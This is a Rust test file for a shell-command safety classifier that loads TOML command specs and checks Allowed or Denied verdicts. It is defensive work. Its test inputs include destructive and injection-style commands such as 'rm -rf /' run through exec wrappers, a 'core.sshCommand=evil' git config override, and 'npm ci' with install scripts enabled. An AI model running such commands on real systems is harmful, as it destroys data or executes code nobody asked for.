use super::*;
use super::types::DispatchKind;
use crate::parse::Token;
use crate::verdict::{SafetyLevel, Verdict};
fn toks(words: &[&str]) -> Vec<Token> {
words.iter().map(|s| Token::from_test(s)).collect()
}
#[test]
fn a_profiled_sub_with_full_provenance_builds() {
let _ = load_one(
r#"
[[command]]
name = "tc"
[[command.sub]]
name = "delete"
profile = "remote-destroy-recoverable"
fact = "Deletes the remote resource via the API."
source = "https://example/docs"
standalone = ["--help"]
"#,
);
}
#[test]
#[should_panic(expected = "requires a `fact`")]
fn a_profiled_sub_without_a_fact_panics_at_build() {
load_one(
"[[command]]\nname = \"tc\"\n[[command.sub]]\nname = \"delete\"\n\
profile = \"remote-destroy-recoverable\"\nsource = \"https://example/docs\"\n",
);
}
#[test]
#[should_panic(expected = "is not a known archetype")]
fn a_sub_with_an_unknown_profile_panics_at_build() {
load_one(
"[[command]]\nname = \"tc\"\n[[command.sub]]\nname = \"delete\"\n\
profile = \"remote-destroy-typo\"\nfact = \"x\"\nsource = \"y\"\n",
);
}
#[test]
#[should_panic(expected = "AUTO-APPROVE")]
fn a_candidate_shadowed_by_a_sibling_glob_panics_at_build() {
load_one(
"[[command]]\nname = \"tc\"\nfirst_arg = [\"get-*\", \"list-*\"]\n\
[[command.sub]]\nname = \"get-secret-value\"\ncandidate = true\n",
);
}
#[test]
fn a_candidate_not_matching_the_glob_is_fine() {
load_one(
"[[command]]\nname = \"tc\"\nfirst_arg = [\"describe-*\"]\n\
[[command.sub]]\nname = \"delete-thing\"\ncandidate = true\n",
);
}
#[test]
#[should_panic(expected = "requires a `source`")]
fn an_escalating_flag_without_a_source_panics_at_build() {
load_one(
"[[command]]\nname = \"tc\"\n[[command.sub]]\nname = \"push\"\n\
profile = \"vcs-sync\"\nfact = \"x\"\nsource = \"y\"\n\
[[command.sub.flag]]\nname = \"--force\"\n\
classifies = \"remote-destroy-irreversible\"\nfact = \"z\"\n",
);
}
#[test]
fn value_prefix_flags_escalate_only_on_a_matching_value() {
use super::types::FlagProvenance;
let c_flag = FlagProvenance {
name: "-c".into(),
classifies: "unclassified".into(),
value_prefix: Some("core.sshCommand=".into()),
when_absent: false,
};
let esc = |words: &[&str]| super::flag_escalates(&toks(words), &c_flag);
assert!(esc(&["git", "-c", "core.sshCommand=evil", "push"]), "dangerous key → escalate");
assert!(!esc(&["git", "-c", "color.ui=false", "log"]), "benign key → no escalate");
assert!(!esc(&["git", "-c", "log"]), "flag without the matching value → no escalate");
assert!(!esc(&["git", "push"]), "flag absent → no escalate");
let glued = FlagProvenance {
name: "--conf".into(),
classifies: "unclassified".into(),
value_prefix: Some("exec=".into()),
when_absent: false,
};
assert!(super::flag_escalates(&toks(&["x", "--conf=exec=danger"]), &glued));
assert!(!super::flag_escalates(&toks(&["x", "--conf=safe=ok"]), &glued));
let bare = FlagProvenance {
name: "--force".into(),
classifies: "remote-destroy-irreversible".into(),
value_prefix: None,
when_absent: false,
};
assert!(super::flag_escalates(&toks(&["git", "push", "--force"]), &bare));
assert!(!super::flag_escalates(&toks(&["git", "push"]), &bare));
let safety = FlagProvenance {
name: "--ignore-scripts".into(),
classifies: "supply-chain-build".into(),
value_prefix: None,
when_absent: true,
};
assert!(super::flag_escalates(&toks(&["npm", "ci"]), &safety), "flag ABSENT → escalate");
assert!(!super::flag_escalates(&toks(&["npm", "ci", "--ignore-scripts"]), &safety), "flag present → no escalate");
assert!(super::flag_escalates(&toks(&["npm", "ci", "--ignore-scripts=false"]), &safety), "=false re-enables → escalate");
assert!(super::flag_escalates(&toks(&["npm", "ci", "--ignore-scripts=0"]), &safety), "=0 re-enables → escalate");
assert!(super::flag_escalates(&toks(&["npm", "ci", "--no-ignore-scripts"]), &safety), "--no- form → escalate");
assert!(!super::flag_escalates(&toks(&["npm", "ci", "--ignore-scripts=true"]), &safety), "=true → no escalate");
}
#[test]
fn flag_present_is_cluster_aware_for_short_flags() {
let p = |words: &[&str], flag: &str| super::flag_present(&toks(words), flag);
assert!(p(&["age", "-d", "f"], "-d"));
assert!(p(&["age", "-da", "f"], "-d"), "cluster -da contains -d");
assert!(p(&["age", "-vd", "f"], "-d"), "cluster -vd contains -d");
assert!(p(&["gpg", "-vdk", "f"], "-d"));
assert!(!p(&["age", "-o=decrypted.age", "-e"], "-d"), "value after = is not the flag run");
assert!(!p(&["age", "-e", "-a", "f"], "-d"), "no d in the cluster");
assert!(!p(&["x", "-abc"], "--decrypt"));
assert!(p(&["x", "--decrypt", "f"], "--decrypt"));
}
#[test]
fn a_profiled_sub_denies_via_legacy_when_the_engine_abstains() {
for cmd in [
"git -c color.ui=false push",
"git -c color.ui=false push origin main",
"git -C /tmp push",
] {
assert_eq!(crate::command_verdict(cmd), Verdict::Denied, "{cmd} must deny via legacy");
}
assert!(crate::command_verdict("git -c color.ui=false log").is_allowed(), "reads unaffected");
}
fn load_one(toml_str: &str) -> CommandSpec {
let mut specs = load_toml(toml_str, "test");
assert_eq!(specs.len(), 1);
specs.remove(0)
}
#[test]
fn flat_bare_allowed() {
let spec = load_one(r#"
[[command]]
name = "wc"
bare = true
"#);
assert_eq!(dispatch_spec(&toks(&["wc"]), &spec), Verdict::Allowed(SafetyLevel::Inert));
}
#[test]
fn flat_bare_denied_when_false() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
"#);
assert_eq!(dispatch_spec(&toks(&["grep"]), &spec), Verdict::Denied);
}
#[test]
fn flat_standalone_flag() {
let spec = load_one(r#"
[[command]]
name = "wc"
bare = true
standalone = ["-l", "--lines"]
"#);
assert_eq!(
dispatch_spec(&toks(&["wc", "-l", "file.txt"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_unknown_flag_rejected() {
let spec = load_one(r#"
[[command]]
name = "wc"
standalone = ["-l"]
"#);
assert_eq!(dispatch_spec(&toks(&["wc", "--evil"]), &spec), Verdict::Denied);
}
#[test]
fn flat_valued_flag_space() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
valued = ["--max-count", "-m"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "--max-count", "5", "pattern"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_valued_flag_eq() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
valued = ["--max-count"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "--max-count=5", "pattern"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_combined_short_flags() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
standalone = ["-r", "-n", "-i"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "-rni", "pattern", "."]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_combined_short_unknown_rejected() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
standalone = ["-r", "-n"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "-rnz", "pattern"]), &spec),
Verdict::Denied,
);
}
#[test]
fn flat_combined_short_with_valued_last() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
standalone = ["-r", "-n"]
valued = ["-m"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "-rnm", "5", "pattern"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_double_dash_stops_flag_checking() {
let spec = load_one(r#"
[[command]]
name = "grep"
bare = false
standalone = ["-r"]
"#);
assert_eq!(
dispatch_spec(&toks(&["grep", "-r", "--", "--not-a-flag", "file"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn flat_max_positional_enforced() {
let spec = load_one(r#"
[[command]]
name = "uniq"
bare = true
max_positional = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["uniq", "a"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["uniq", "a", "b"]), &spec),
Verdict::Denied,
);
}
#[test]
fn flat_max_positional_after_double_dash() {
let spec = load_one(r#"
[[command]]
name = "uniq"
bare = true
max_positional = 1
"#);
assert_eq!(
dispatch_spec(&toks(&["uniq", "--", "a", "b"]), &spec),
Verdict::Denied,
);
}
#[test]
fn flat_tolerate_unknown_long() {
let spec = load_one(r#"
[[command]]
name = "echo"
bare = true
tolerate_unknown_long = true
standalone = ["-n", "-e"]
"#);
assert_eq!(
dispatch_spec(&toks(&["echo", "--unknown", "hello"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn legacy_positional_style_panics() {
let result = std::panic::catch_unwind(|| {
load_one(r#"
[[command]]
name = "demo-legacy"
bare = true
positional_style = true
"#);
});
assert!(result.is_err(),
"loading positional_style = true should panic with migration guidance");
}
#[test]
fn flat_level_safe_read() {
let spec = load_one(r#"
[[command]]
name = "cargo"
level = "SafeRead"
bare = true
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
}
#[test]
fn flat_level_safe_write() {
let spec = load_one(r#"
[[command]]
name = "cargo"
level = "SafeWrite"
bare = true
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo"]), &spec),
Verdict::Allowed(SafetyLevel::SafeWrite),
);
}
#[test]
fn structured_bare_rejected() {
let spec = load_one(r#"
[[command]]
name = "cargo"
bare_flags = ["--help"]
[[command.sub]]
name = "build"
level = "SafeWrite"
"#);
assert_eq!(dispatch_spec(&toks(&["cargo"]), &spec), Verdict::Denied);
}
#[test]
fn structured_bare_flag() {
let spec = load_one(r#"
[[command]]
name = "cargo"
bare_flags = ["--help", "-h"]
[[command.sub]]
name = "build"
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn structured_bare_flag_with_extra_rejected() {
let spec = load_one(r#"
[[command]]
name = "cargo"
bare_flags = ["--help"]
[[command.sub]]
name = "build"
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "--help", "extra"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_help_denied_when_not_in_bare_flags() {
let spec = load_one(r#"
[[command]]
name = "tea"
bare_flags = ["--version", "-v"]
[[command.sub]]
name = "whoami"
"#);
assert_eq!(
dispatch_spec(&toks(&["tea", "--help"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["tea", "-h"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_help_allowed_when_in_bare_flags() {
let spec = load_one(r#"
[[command]]
name = "cargo"
bare_flags = ["--help", "-h"]
[[command.sub]]
name = "build"
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["cargo", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_help_allowed_without_bare_flags() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "config"
[[command.sub.sub]]
name = "get"
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "config", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["tool", "config", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_help_with_trailing_denied() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "config"
[[command.sub.sub]]
name = "get"
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "config", "--help", "extra"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_unknown_sub_rejected() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "build"
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "deploy"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_sub_policy() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "test"
level = "SafeRead"
standalone = ["--release", "-h"]
valued = ["--jobs", "-j"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "test", "--release", "-j", "4"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
}
#[test]
fn structured_sub_unknown_flag_rejected() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "test"
standalone = ["--release"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "test", "--evil"]), &spec),
Verdict::Denied,
);
}
#[test]
fn guarded_with_guard() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "fmt"
guard = "--check"
standalone = ["--all", "--check", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "fmt", "--check"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn guarded_without_guard_rejected() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "fmt"
guard = "--check"
standalone = ["--all", "--check"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "fmt"]), &spec),
Verdict::Denied,
);
}
#[test]
fn guarded_with_short_form() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "package"
guard = "--list"
guard_short = "-l"
standalone = ["--list", "-l"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "package", "-l"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn guarded_with_eq_syntax() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "sub"
guard = "--mode"
valued = ["--mode"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "--mode=check"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn guarded_short_eq_does_not_satisfy_guard() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "package"
guard = "--list"
guard_short = "-l"
standalone = ["--list", "-l"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "package", "-l=foo"]), &spec),
Verdict::Denied,
);
}
#[test]
fn guarded_long_eq_satisfies_guard() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "package"
guard = "--list"
guard_short = "-l"
valued = ["--list"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "package", "--list=all"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn guarded_help_positional_allowed() {
let spec = load_one(r#"
[[command]]
name = "cargo"
[[command.sub]]
name = "fmt"
guard = "--check"
standalone = ["--all", "--check"]
"#);
assert_eq!(
dispatch_spec(&toks(&["cargo", "fmt", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["cargo", "fmt", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["cargo", "fmt", "help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_sub() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "config"
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h"]
[[command.sub.sub]]
name = "list"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "config", "get"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["mise", "config", "delete"]), &spec),
Verdict::Denied,
);
}
#[test]
fn nested_bare_rejected() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "config"
[[command.sub.sub]]
name = "get"
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "config"]), &spec),
Verdict::Denied,
);
}
#[test]
fn nested_bare_allowed_when_flag_set() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "settings"
nested_bare = true
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h", "-q", "-v"]
[[command.sub.sub]]
name = "list"
standalone = ["--help", "-h", "-q", "-v"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_bare_help_allowed() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "settings"
nested_bare = true
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_bare_still_dispatches_to_subs() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "settings"
nested_bare = true
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h", "-q", "-v"]
[[command.sub.sub]]
name = "list"
standalone = ["--help", "-h", "-q", "-v"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "get"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "list"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "get", "-q"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn nested_bare_rejects_unknown_sub() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "settings"
nested_bare = true
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "set"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "delete"]), &spec),
Verdict::Denied,
);
}
#[test]
fn nested_bare_rejects_unknown_flags() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "settings"
nested_bare = true
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "settings", "--evil"]), &spec),
Verdict::Denied,
);
}
#[test]
fn nested_bare_false_is_default() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "config"
[[command.sub.sub]]
name = "get"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "config"]), &spec),
Verdict::Denied,
);
}
#[test]
fn allow_all_accepts_anything() {
let spec = load_one(r#"
[[command]]
name = "git"
[[command.sub]]
name = "help"
allow_all = true
"#);
assert_eq!(
dispatch_spec(&toks(&["git", "help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["git", "help", "commit", "--verbose"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn first_arg_exact_match() {
let spec = load_one(r#"
[[command]]
name = "npm"
bare_flags = ["--help", "--version", "-V", "-h"]
[[command.sub]]
name = "run"
first_arg = ["test"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "test"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
}
#[test]
fn first_arg_glob_match() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "run"
first_arg = ["test", "test:*"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "test:unit"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "test:integration"]), &spec),
Verdict::Allowed(SafetyLevel::SafeRead),
);
}
#[test]
fn first_arg_rejects_non_matching() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "run"
first_arg = ["test", "test:*"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "build"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "start"]), &spec),
Verdict::Denied,
);
}
#[test]
fn first_arg_rejects_bare() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "run"
first_arg = ["test"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run"]), &spec),
Verdict::Denied,
);
}
#[test]
fn first_arg_allows_help() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "run"
first_arg = ["test"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn first_arg_glob_does_not_match_partial() {
let spec = load_one(r#"
[[command]]
name = "npm"
[[command.sub]]
name = "run"
first_arg = ["test:*"]
level = "SafeRead"
"#);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "test"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["npm", "run", "testing"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_with_required_flag() {
let spec = load_one(r#"
[[command]]
name = "conda"
bare_flags = ["--help", "--version", "-V", "-h"]
[[command.sub]]
name = "config"
bare = false
require_any = ["--show", "--show-sources"]
standalone = ["--help", "--json", "--quiet", "--show", "--show-sources", "--verbose", "-h", "-q", "-v"]
valued = ["--env", "--file", "--name", "--prefix", "-f", "-n", "-p"]
"#);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--show"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--show-sources"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--show", "--json"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn require_any_without_required_flag() {
let spec = load_one(r#"
[[command]]
name = "conda"
[[command.sub]]
name = "config"
bare = false
require_any = ["--show", "--show-sources"]
standalone = ["--help", "--json", "--show", "--show-sources", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--json"]), &spec),
Verdict::Denied,
);
assert_eq!(
dispatch_spec(&toks(&["conda", "config"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_allows_help() {
let spec = load_one(r#"
[[command]]
name = "conda"
[[command.sub]]
name = "config"
bare = false
require_any = ["--show"]
standalone = ["--help", "--show", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn require_any_rejects_unknown_flags() {
let spec = load_one(r#"
[[command]]
name = "conda"
[[command.sub]]
name = "config"
bare = false
require_any = ["--show"]
standalone = ["--help", "--show", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--show", "--evil"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_with_eq_syntax() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "sub"
bare = false
require_any = ["--mode"]
standalone = ["--help"]
valued = ["--mode"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "--mode=check"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn require_any_rejects_unlisted_extra_flags() {
let spec = load_one(r#"
[[command]]
name = "conda"
[[command.sub]]
name = "config"
bare = false
require_any = ["--show", "--show-sources"]
standalone = ["--help", "--show", "--show-sources", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["conda", "config", "--show", "--set"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_short_eq_does_not_satisfy() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "sub"
bare = false
require_any = ["--show", "-s"]
standalone = ["--help", "--show", "-h", "-s"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "-s=foo"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_short_in_combined_satisfies() {
let spec = load_one(r#"
[[command]]
name = "tool"
bare = false
require_any = ["-z"]
standalone = ["-z", "-v", "-n", "-h", "--help"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "-zv", "host", "80"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["tool", "-nvz", "host", "80"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["tool", "-nv", "host", "80"]), &spec),
Verdict::Denied,
);
}
#[test]
fn require_any_long_eq_satisfies() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "sub"
bare = false
require_any = ["--show", "-s"]
valued = ["--show"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "--show=all"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn require_any_does_not_accept_bare_help() {
let spec = load_one(r#"
[[command]]
name = "tool"
[[command.sub]]
name = "sub"
bare = false
require_any = ["--show"]
standalone = ["--help", "--show", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "--help"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "-h"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["tool", "sub", "help"]), &spec),
Verdict::Denied,
);
}
#[test]
fn write_flagged_base_level() {
let spec = load_one(r#"
[[command]]
name = "sk"
[[command.sub]]
name = "run"
write_flags = ["--history"]
standalone = ["--help", "-h"]
valued = ["--history", "--query", "-q"]
"#);
assert_eq!(
dispatch_spec(&toks(&["sk", "run", "-q", "test"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn write_flagged_with_write_flag() {
let spec = load_one(r#"
[[command]]
name = "sk"
[[command.sub]]
name = "run"
write_flags = ["--history"]
standalone = ["--help"]
valued = ["--history", "--query"]
"#);
assert_eq!(
dispatch_spec(&toks(&["sk", "run", "--history", "/tmp/h"]), &spec),
Verdict::Allowed(SafetyLevel::SafeWrite),
);
}
#[test]
fn write_flagged_with_eq_syntax() {
let spec = load_one(r#"
[[command]]
name = "sk"
[[command.sub]]
name = "run"
write_flags = ["--history"]
valued = ["--history"]
"#);
assert_eq!(
dispatch_spec(&toks(&["sk", "run", "--history=/tmp/h"]), &spec),
Verdict::Allowed(SafetyLevel::SafeWrite),
);
}
#[test]
fn delegate_after_separator_safe() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "exec"
delegate_after = "--"
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "exec", "--", "echo", "hello"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn delegate_after_separator_unsafe() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "exec"
delegate_after = "--"
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "exec", "--", "rm", "-rf", "/"]), &spec),
Verdict::Denied,
);
}
#[test]
fn delegate_after_separator_no_separator() {
let spec = load_one(r#"
[[command]]
name = "mise"
[[command.sub]]
name = "exec"
delegate_after = "--"
"#);
assert_eq!(
dispatch_spec(&toks(&["mise", "exec", "echo"]), &spec),
Verdict::Denied,
);
}
#[test]
fn delegate_skip_safe() {
let spec = load_one(r#"
[[command]]
name = "rustup"
[[command.sub]]
name = "run"
delegate_skip = 2
"#);
assert_eq!(
dispatch_spec(&toks(&["rustup", "run", "stable", "echo", "hello"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn delegate_skip_unsafe() {
let spec = load_one(r#"
[[command]]
name = "rustup"
[[command.sub]]
name = "run"
delegate_skip = 2
"#);
assert_eq!(
dispatch_spec(&toks(&["rustup", "run", "stable", "rm", "-rf"]), &spec),
Verdict::Denied,
);
}
#[test]
fn delegate_skip_no_inner() {
let spec = load_one(r#"
[[command]]
name = "rustup"
[[command.sub]]
name = "run"
delegate_skip = 2
"#);
assert_eq!(
dispatch_spec(&toks(&["rustup", "run", "stable"]), &spec),
Verdict::Denied,
);
}
#[test]
fn alias_dispatch() {
let specs = load_toml(r#"
[[command]]
name = "grep"
aliases = ["egrep"]
bare = false
standalone = ["-r"]
"#, "test");
let registry = build_registry(specs);
let spec = registry.get("egrep").expect("alias registered");
assert_eq!(
dispatch_spec(&toks(&["egrep", "-r", "pattern"]), spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn custom_handler_returns_denied_by_default() {
let spec = load_one(r#"
[[command]]
name = "curl"
handler = "curl"
"#);
assert_eq!(
dispatch_spec(&toks(&["curl", "http://example.com"]), &spec),
Verdict::Denied,
);
}
#[test]
fn structured_wrapper_strips_flags() {
let spec = load_one(r#"
[[command]]
name = "jj"
bare_flags = ["--help", "--version", "-h"]
[command.wrapper]
standalone = ["--no-pager", "--quiet"]
valued = ["--color", "-R"]
[[command.sub]]
name = "log"
standalone = ["--help", "-h"]
"#);
assert_eq!(
dispatch_spec(&toks(&["jj", "--no-pager", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["jj", "--color", "auto", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
assert_eq!(
dispatch_spec(&toks(&["jj", "-R", "/repo", "--quiet", "log"]), &spec),
Verdict::Allowed(SafetyLevel::Inert),
);
}
#[test]
fn structured_wrapper_still_dispatches_subs() {
let spec = load_one(r#"
[[command]]
name = "jj"
bare_flags = ["--help", "-h"]
[command.wrapper]
standalone = ["--no-pager"]
[[command.sub]]
